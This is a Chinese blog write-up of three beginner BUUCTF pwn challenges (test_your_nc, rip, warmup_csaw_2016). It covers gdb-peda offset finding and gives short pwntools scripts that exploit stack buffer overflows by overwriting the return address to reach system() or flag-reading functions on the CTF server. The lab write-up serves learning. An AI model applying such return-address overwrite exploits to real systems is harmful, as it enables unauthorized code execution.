pwn——test_your_nc#rip#warmup_csaw_2016

test_your_nc

题目

https://buuoj.cn/challenges#test_your_nc

解答

1、根据题目提示,直接nc
在这里插入图片描述
2、cat flag
在这里插入图片描述

rip

题目

题目链接:https://buuoj.cn/challenges#rip

解答

1、IDA打开分析
在这里插入图片描述
发现gets函数,同时查询文件返现没有栈溢出保护
同时发现命令执行函数,地址为0x40118A
在这里插入图片描述

2、测试偏移地址
两种方法:
法一:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/dililearngent/Desktop/pwn/pwn1 
please input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
ok,bye!!!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b043c0 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x405010 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x1 
RBP: 0x412d41414341416e ('nAACAA-A')
RSP: 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x401185 (<main+67>:	ret)
R8 : 0x7ffff7fdf700 (0x00007ffff7fdf700)
R9 : 0x4177414159414176 ('vAAYAAwA')
R10: 0x7941417841415a41 ('AZAAxAAy')
R11: 0x246 
R12: 0x401060 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffddc0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40117a <main+56>:	call   0x401030 <puts@plt>
   0x40117f <main+61>:	mov    eax,0x0
   0x401184 <main+66>:	leave  
=> 0x401185 <main+67>:	ret    
   0x401186 <fun>:	push   rbp
   0x401187 <fun+1>:	mov    rbp,rsp
   0x40118a <fun+4>:	lea    rdi,[rip+0xe8a]        # 0x40201b
   0x401191 <fun+11>:	call   0x401040 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdcf0 ("AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdcf8 ("aAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffdd00 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd08 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd10 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd18 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd20 ("AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401185 in main ()
gdb-peda$ pattern offset A(AADAA
A(AADAA found at offset: 23

得到偏移地址是23
法2:
手动计算
在这里插入图片描述
s的空间地址为15,加上堆栈中ebp,故返回地址存储空间的偏移地址是15+8=23

3、编写脚本

from pwn import *
p = remote('node4.buuoj.cn',25402)
payload = 'a'*23+p64(0x40118A)
p.sendline(payload)
p.interactive()

在这里插入图片描述
拿到flag

warmup_csaw_2016

题目

https://buuoj.cn/challenges#warmup_csaw_2016

解答

1、先查看文件信息
在这里插入图片描述
64位,小端序等
在这里插入图片描述
没有栈溢出保护
2、打开IDA分析一波,找到main函数,发现了很明显的sprintf栈溢出漏洞
在这里插入图片描述
shift+F12查看程序中的字符串:
在这里插入图片描述
定位相关函数,可以直接读取flag
在这里插入图片描述
在这里插入图片描述
3、测试偏移地址
![在这里插入图片描述](https://img-blog.csdnimg.cn/1ec43cef2aef49058c8bb5679c0bd73e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBARGlsaUxlYXJuZ2VudA==,size_19,color_FFFFFF,t_70,g_se,x_1
在这里插入图片描述
由于程序返回地址被覆盖,未能正确返回故报错,此时栈顶元素或者ESP中的值所在的地址就是之前存储返回地址的地址,故只需要查看栈顶元素或ESP的值在输入值的偏移地址即可查找到我们所需要的偏移地址。
或者还可以这样考虑,在调用函数后,先压入函数返回地址再压入EBP的值,这里可以根据查看EBP里的值距离输入字符串的偏移值,然后再加上8即可得到偏移值
4、读取flag命令的函数地址为0x40060d,编写脚本

from pwn import *
p = remote('node4.buuoj.cn',28917)
payload = 'a'*72+p64(0x40060d)
p.sendline(payload)
p.interactive()

5、运行
在这里插入图片描述
得到flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值